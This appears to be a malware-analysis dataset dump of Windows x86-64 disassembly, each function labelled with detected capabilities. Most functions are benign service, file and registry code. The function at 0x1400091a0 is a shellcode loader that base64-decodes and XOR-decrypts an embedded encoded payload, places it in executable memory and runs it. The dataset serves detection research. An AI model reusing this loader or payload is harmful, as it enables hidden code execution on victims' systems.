joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002a62
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000f128]
test eax, eax
je 0x140002afa
lea rax, [0x14000f100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000f130]
mov qword [rbp - 8], rax
jmp 0x140002ade
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002ad2
cmp qword [rbp - 0x10], 0
je 0x140002ad2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002a98
lea rax, [0x14000f100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002afb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002c00
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002c28
mov eax, 0
jmp 0x140002c76
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002c51
mov eax, 0
jmp 0x140002c76
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002c71
mov eax, 0
jmp 0x140002c76
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002c7c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002cfa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002cf1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002cf1
mov rax, qword [rbp - 8]
jmp 0x140002d0f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002cc4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400091a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbx
sub rsp, 0x38
lea r14, str.ty36r5WRi2V5SyQoCjUrGjMxerccA4rKy3yGX0xwDdZA4LGy12_C8zBlSwA1S551kYN2dVayS4gmg4SqSbpjc4Gi3yGUXyCVkxSrXyy15S2UxzqUNLC14mzXyA309wCVZAmSpqDMxtKw4wFHxA2SvBlSwA1S55yS4gmg4SqRBqxCIB2Y1b208crQMkz09wCVdAmSpLSTyRy09wCVlAmSpCu59wy14myQhCj0nEj84EyQgCj8xyIlZCjeGqz04Ej8xwHeQHJqGtDgx8WR5S2V5S2V5Aj0SmR5SyTDeu4WzJqs8JXM6TM48cPs9viGni36j01FTRlzy56ZPmDCDHYLJA95EiTwkZqsKAQVKEscMwB5S3NQb3CH0BFLQAKdHkzNnI1V1JpMlY1U3lRb0NqVXJHak14ZXJjY0ErNHJLeTN5R1gweHdEZFpBKzRMR3kxMi9DOHpCbFN3QTFTNTUxa1lOMmRWYXlTNGdtZzRTcVNicA
call sym.__main
mov rcx, r14
call sym.Base64decode_len
movsxd rbx, eax
mov rcx, rbx
call sym.malloc
mov r12, rax
test rax, rax
je 0x140009274
mov rdx, r14
mov rcx, rax
call sym.Base64decode
lea rdx, [rsp + 0x2c]
mov r8d, ebx
mov rcx, r12
mov r9d, 3
mov dword [rsp + 0x2c], 0x79654b
call sym.XORCipher
mov r9d, 0x40
mov rdx, rbx
xor ecx, ecx
mov r14, rax
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
test rax, rax
je 0x140009261
mov r8, rbx
mov rdx, r14
mov rcx, rax
call sym.memcpy
call r13
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r12
call sub.msvcrt.dll_free
mov rcx, r14
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x38
pop rbx
pop r12
pop r13
pop r14
ret
lea rcx, str._n
call sym.printf
mov eax, 1
jmp 0x140009255
lea rcx, [0x14000b1f5]
call sym.printf
mov eax, 1
jmp 0x140009255
Function at 0x14001124e
Capabilities:
Terminate process

Disassembly:
jmp 0x1400142e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112f3
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015630
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015650
xor al, al
jmp 0x1400156d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015663
xor al, al
jmp 0x1400156d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001568d
xor al, al
jmp 0x1400156d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400156a1
xor al, al
jmp 0x1400156d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400156b3
xor al, al
jmp 0x1400156d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400156cf
xor al, al
jmp 0x1400156d1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001db0
Capabilities:
Move file

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4e8
movaps xmmword [rsp + 0x4d0], xmm6
mov rax, qword [0x140036138]
xor rax, rsp
mov qword [rsp + 0x4c8], rax
test edx, edx
jle 0x140001f4e
mov esi, edx
mov rdi, rcx
dec esi
xorps xmm6, xmm6
lea rbx, [rsp + 0x230]
lea r14, str.maintenanceservice.log
lea r15, [rsp + 0x440]
lea r12, [rsp + 0x20]
lea r13, str.maintenanceservice__d.log
jmp 0x140001e2c
lea eax, [rsi + 2]
cmp eax, 1
jbe 0x140001f4e
mov ebp, esi
movaps xmmword [rsp + 0x4b0], xmm6
movaps xmmword [rsp + 0x4a0], xmm6
movaps xmmword [rsp + 0x490], xmm6
movaps xmmword [rsp + 0x480], xmm6
movaps xmmword [rsp + 0x470], xmm6
movaps xmmword [rsp + 0x460], xmm6
movaps xmmword [rsp + 0x450], xmm6
movaps xmmword [rsp + 0x440], xmm6
mov r8d, 0x3f
mov rcx, rbx
mov rdx, rdi
call fcn.140014d74
mov edx, 0x40
mov rcx, r15
sub esi, 1
jae 0x140001ea0
mov r8, r14
call fcn.140001d30
jmp 0x140001eab
mov r8, r13
mov r9d, ebp
call fcn.140001d30
mov rcx, rbx
mov rdx, r15
call fcn.140009d70
test eax, eax
je 0x140001e20
inc ebp
movaps xmmword [rsp + 0x4b0], xmm6
movaps xmmword [rsp + 0x4a0], xmm6
movaps xmmword [rsp + 0x490], xmm6
movaps xmmword [rsp + 0x480], xmm6
movaps xmmword [rsp + 0x470], xmm6
movaps xmmword [rsp + 0x460], xmm6
movaps xmmword [rsp + 0x450], xmm6
movaps xmmword [rsp + 0x440], xmm6
mov r8d, 0x3f
mov rcx, r12
mov rdx, rdi
call fcn.140014d74
mov edx, 0x40
mov rcx, r15
mov r8, r13
mov r9d, ebp
call fcn.140001d30
mov rcx, r12
mov rdx, r15
call fcn.140009d70
test eax, eax
je 0x140001e20
mov rcx, rbx
mov rdx, r12
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x140001e20
mov rcx, qword [rsp + 0x4c8]
xor rcx, rsp
call fcn.14000ac40
movaps xmm6, xmmword [rsp + 0x4d0]
add rsp, 0x4e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002630
Capabilities:
Get file size
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x10048
call fcn.14000abe0
sub rsp, rax
mov rdi, r8
mov rbx, rdx
mov rax, qword [0x140036138]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov dword [r8], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r14d, r14d
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400027d4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r14d, r14d
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400027bf
mov r12, qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r14d, r14d
mov rcx, rsi
xor edx, edx
call r12
mov r15d, eax
mov rcx, rbx
xor edx, edx
call r12
cmp r15d, 0xffffffff
je 0x1400027bf
cmp eax, 0xffffffff
je 0x1400027bf
mov r14d, 1
cmp r15d, eax
jne 0x1400027bf
cmp r15d, 0x8000
jae 0x140002810
and r15d, 0x7fff
je 0x1400027b3
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x8040]
lea r9, [rsp + 0x3c]
mov rcx, rsi
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor r14d, r14d
test eax, eax
je 0x1400027bf
cmp dword [rsp + 0x3c], r15d
jne 0x1400027bf
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
lea r9, [rsp + 0x3c]
mov rcx, rbx
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400027bf
cmp dword [rsp + 0x3c], r15d
jne 0x1400027bf
mov r8d, r15d
lea rcx, [rsp + 0x8040]
lea rdx, [rsp + 0x40]
call fcn.14000beb0
mov r14d, 1
test eax, eax
jne 0x1400027bf
mov dword [rdi], 1
mov r14d, 1
mov rax, rbx
inc rax
cmp rax, 2
jb 0x1400027d4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
inc rax
cmp rax, 2
jb 0x1400027e9
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.14000ac40
mov eax, r14d
add rsp, 0x10048
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ebp, r15d
shr ebp, 0xf
lea r14, [rsp + 0x8040]
mov r13, qword [sym.imp.KERNEL32.dll_ReadFile]
nop word cs:[rax + rax]
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov r12, r14
mov rdx, r14
mov r8d, 0x8000
lea r9, [rsp + 0x3c]
call r13
xor r14d, r14d
test eax, eax
je 0x1400027bf
cmp dword [rsp + 0x3c], 0x8000
jne 0x1400027bf
mov qword [rsp + 0x20], 0
mov rcx, rbx
lea rdx, [rsp + 0x40]
mov r8d, 0x8000
lea r9, [rsp + 0x3c]
call r13
test eax, eax
je 0x1400027bf
cmp dword [rsp + 0x3c], 0x8000
jne 0x1400027bf
mov r8d, 0x8000
mov r14, r12
mov rcx, r12
lea rdx, [rsp + 0x40]
call fcn.14000beb0
test eax, eax
jne 0x1400027b9
dec ebp
jne 0x140002830
jmp 0x140002731
Function at 0x140003bc0
Capabilities:
Get file version info

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rdi, r9
mov rbx, r8
mov r14, rdx
mov r15, rcx
mov rax, qword [0x140036138]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor edx, edx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov ebp, eax
mov ecx, eax
call fcn.14000a950
mov rsi, rax
mov rcx, r15
xor edx, edx
mov r8d, ebp
mov r9, rax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x140003c5d
mov qword [rsp + 0x28], rsi
lea rdx, [0x14002fa20]
lea r8, [rsp + 0x28]
lea r9, [rsp + 0x24]
mov rcx, rsi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x140003c94
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x28]
movzx edx, word [rcx + 0xa]
mov dword [r14], edx
movzx edx, word [rcx + 8]
mov dword [rbx], edx
movzx edx, word [rcx + 0xe]
mov dword [rdi], edx
movzx ecx, word [rcx + 0xc]
mov dword [rax], ecx
mov edi, 1
jmp 0x140003cd7
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140003cfb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140036e28]
lea rdx, str.Could_not_obtain_file_info_of_old_service.____lu_
jmp 0x140003ccd
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140003d3d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140036e28]
lea rdx, str.Could_not_query_file_version_info_of_old_service.____lu_
mov r8d, eax
call fcn.1400086f0
xor edi, edi
mov rcx, rsi
call fcn.14000a958
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000ac40
mov eax, edi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [0x140037038]
call fcn.14000aa30
cmp dword [0x140037038], 0xffffffff
jne 0x140003c7e
lea rcx, [0x140036e28]
call fcn.140008420
lea rcx, [0x140002160]
call fcn.14000ac60
lea rcx, [0x140037038]
call fcn.14000aa98
jmp 0x140003c7e
lea rcx, [0x140037038]
call fcn.14000aa30
cmp dword [0x140037038], 0xffffffff
jne 0x140003cb9
lea rcx, [0x140036e28]
call fcn.140008420
lea rcx, [0x140002160]
call fcn.14000ac60
lea rcx, [0x140037038]
call fcn.14000aa98
jmp 0x140003cb9
Function at 0x140004150
Capabilities:
Set registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x48
mov rsi, rcx
mov rax, qword [0x140036138]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionUninstallMozillaMaintenanceService
xor edi, edi
mov rcx, 0xffffffff80000002
xor r8d, r8d
mov r9d, 0x20206
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400041db
mov rcx, rsi
call fcn.1400148ac
add eax, eax
add eax, 2
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
lea rdx, str.DisplayVersion
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
test esi, esi
sete dil
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000ac40
mov eax, edi
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x140004200
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rax, qword [0x140036138]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test rax, rax
je 0x1400042ec
mov rsi, rax
lea rdx, str.MozillaMaintenance
mov rcx, rax
mov r8d, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
je 0x140004331
mov rdi, rax
lea r8, [rsp + 0x20]
mov rcx, rax
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1400042bf
xor r14d, r14d
mov r15, qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, [rsp + 0x20]
mov r12, qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
nop word [rax + rax]
mov ecx, dword [rsp + 0x38]
call r15
cmp dword [rsp + 0x24], 1
je 0x1400042bf
mov eax, dword [rsp + 0x38]
add r14d, eax
add r14d, 0xa
cmp r14d, 0xea60
ja 0x1400042bf
mov rcx, rdi
mov rdx, rbx
call r12
test eax, eax
jne 0x140004290
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov ebx, eax
test eax, eax
jne 0x1400042de
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0x430
sete bl
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140004374
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x14000439a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140036e28]
lea rdx, str.Could_not_open_service_manager.____lu_
mov r8d, eax
call fcn.1400086f0
xor ebx, ebx
jmp 0x14000437d
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x1400043dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140036e28]
lea rdx, str.Could_not_open_service.____lu_
mov r8d, eax
call fcn.1400086f0
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000ac40
mov eax, ebx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [0x140037038]
call fcn.14000aa30
cmp dword [0x140037038], 0xffffffff
jne 0x140004311
lea rcx, [0x140036e28]
call fcn.140008420
lea rcx, [0x140002160]
call fcn.14000ac60
lea rcx, [0x140037038]
call fcn.14000aa98
jmp 0x140004311
lea rcx, [0x140037038]
call fcn.14000aa30
cmp dword [0x140037038], 0xffffffff
jne 0x140004356
lea rcx, [0x140036e28]
call fcn.140008420
lea rcx, [0x140002160]
call fcn.14000ac60
lea rcx, [0x140037038]
call fcn.14000aa98
jmp 0x140004356
Function at 0x1400065a0
Capabilities:
Create directory

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140006638
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
je 0x140006662
lea rdx, [0x14002f838]
mov rcx, rsi
call fcn.140009d70
test eax, eax
je 0x14000660a
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.updater.exe
mov rcx, rsi
call fcn.140009d70
mov ecx, eax
mov eax, 1
test ecx, ecx
jne 0x1400066a4
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x1400066bf
lea rsi, str.Couldnt_append_file_spec_when_attempting_to_use_a_secure_updater_path.____lu_
jmp 0x14000668a
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x1400066aa
lea rsi, str.Could_not_obtain_module_filename_when_attempting_to_use_a_secure_updater_path.____lu_
jmp 0x14000668a
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x1400066d4
lea rsi, str.Couldnt_remove_file_spec_when_attempting_to_use_a_secure_updater_path.____lu_
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140036e28]
mov rdx, rsi
mov r8d, eax
call fcn.1400086f0
xor eax, eax
add rsp, 0x20
pop rsi
ret
lea rcx, [0x140037038]
call fcn.14000aa30
lea rsi, str.Could_not_obtain_module_filename_when_attempting_to_use_a_secure_updater_path.____lu_
jmp 0x1400066e7
lea rcx, [0x140037038]
call fcn.14000aa30
lea rsi, str.Couldnt_append_file_spec_when_attempting_to_use_a_secure_updater_path.____lu_
jmp 0x1400066e7
lea rcx, [0x140037038]
call fcn.14000aa30
lea rsi, str.Couldnt_remove_file_spec_when_attempting_to_use_a_secure_updater_path.____lu_
cmp dword [0x140037038], 0xffffffff
jne 0x14000668a
lea rcx, [0x140036e28]
call fcn.140008420
lea rcx, [0x140002160]
call fcn.14000ac60
lea rcx, [0x140037038]
call fcn.14000aa98
jmp 0x14000668a
Function at 0x140006720
Capabilities:
Check if file exists
Delete file

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x240
mov rax, qword [0x140036138]
xor rax, rsp
mov qword [rsp + 0x238], rax
cmp word [rcx], 0
je 0x140006835
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
test eax, eax
jne 0x1400067a6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
je 0x1400067a6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x1400067a6
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140006854
lea rcx, [0x140036e28]
lea rdx, str.Could_not_delete_service_updater_path:__ls.
mov r8, rdi
call fcn.1400086f0
lea rbx, [rsp + 0x20]
mov r8d, 0x20a
mov rcx, rbx
xor edx, edx
call fcn.14000c660
lea r8, str.updater.ini
mov rcx, rbx
mov rdx, rdi
call fcn.140008ea0
test eax, eax
je 0x140006837
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
test eax, eax
jne 0x140006837
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp eax, 3
je 0x140006837
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x140006837
mov eax, dword [0x140037038]
mov ecx, dword [0x140037098]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140006896
lea rcx, [0x140036e28]
lea rdx, str.Could_not_delete_service_updater_INI_path:__ls.
lea r8, [rsp + 0x20]
call fcn.1400086f0
jmp 0x140006837
xor esi, esi
mov rcx, qword [rsp + 0x238]
xor rcx, rsp
call fcn.14000ac40
mov eax, esi
add rsp, 0x240
pop rbx
pop rdi
pop rsi
ret
lea rcx, [0x140037038]
call fcn.14000aa30
cmp dword [0x140037038], 0xffffffff
jne 0x140006790
lea rcx, [0x140036e28]
call fcn.140008420
lea rcx, [0x140002160]
call fcn.14000ac60
lea rcx, [0x140037038]
call fcn.14000aa98
jmp 0x140006790
lea rcx, [0x140037038]
call fcn.14000aa30
cmp dword [0x140037038], 0xffffffff
jne 0x14000681b
lea rcx, [0x140036e28]
call fcn.140008420
lea rcx, [0x140002160]
call fcn.14000ac60
lea rcx, [0x140037038]
call fcn.14000aa98
jmp 0x14000681b
Function at 0x1400072f0
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, rdx
mov r14, rcx
mov rax, qword [0x140036138]
xor rax, rsp
mov qword [rsp + 0x40], rax
call fcn.1400148ac
test rax, rax
je 0x140007503
mov rbx, rax
movzx eax, word [r14 + rax*2 - 2]
cmp eax, 0x5c
je 0x140007332
cmp eax, 0x2f
jne 0x140007335
dec rbx
mov rax, rbx
add rax, 2
lea r15, [rbx + rbx + 4]
mov rcx, 0xffffffffffffffff
cmovns rcx, r15
call fcn.14000a950
mov rdi, rax
mov rcx, rax
xor edx, edx
mov r8, r15
call fcn.14000c660
lea r8, [rbx + 1]
mov rcx, rdi
mov rdx, r14
call fcn.140014d74
mov rcx, rdi
call fcn.1400128f0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rsp + 0x38]
xor edx, edx
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140007507
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov edx, 0x8003
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000753a
add ebx, ebx
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov r8d, ebx
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14000753a
mov dword [rsp + 0x2c], 4
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], 0
lea r8, [rsp + 0x28]
lea r9, [rsp + 0x2c]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x14000753a
mov r14d, dword [rsp + 0x28]
mov rcx, r14
call fcn.14000a950
mov rbx, rax
mov rcx, rax
xor edx, edx
mov r8, r14
call fcn.14000c660
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x28]
mov edx, 2
mov r8, rbx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x14000753a
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140007485
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140007497
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rdi
call fcn.14000a958
lea rdx, [0x14002f9d0]
mov r8d, 0x104
mov rcx, rsi
call fcn.140014d74
mov ebp, 1
cmp dword [rsp + 0x28], 0
je 0x1400074fe
add rsi, 0x48
xor r14d, r14d
lea rdi, str._.2x
mov r15, qword [sym.imp.USER32.dll_wsprintfW]
nop word cs:[rax + rax]
movzx r8d, byte [rbx + r14]
mov rcx, rsi
mov rdx, rdi
call r15
add rsi, 4
inc r14
mov eax, dword [rsp + 0x28]
cmp r14, rax
jb 0x1400074e0
mov rdi, rbx
jmp 0x14000753c
xor ebp, ebp
jmp 0x140007544
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x14000753a
mov dword [rsp + 0x20], 0xf0000008
lea rcx, [rsp + 0x38]
xor edx, edx
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1400073b8
xor ebp, ebp
mov rcx, rdi
call fcn.14000a958
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000ac40
mov eax, ebp
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1400086f0
Capabilities:
Write file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
mov qword [rsp + 0x78], r9
mov qword [rsp + 0x70], r8
mov rax, qword [0x140036138]
xor rax, rsp
mov qword [rsp + 0x30], rax
cmp qword [rcx], 0
je 0x14000877f
mov rdi, rdx
mov rsi, rcx
lea rax, [rsp + 0x70]
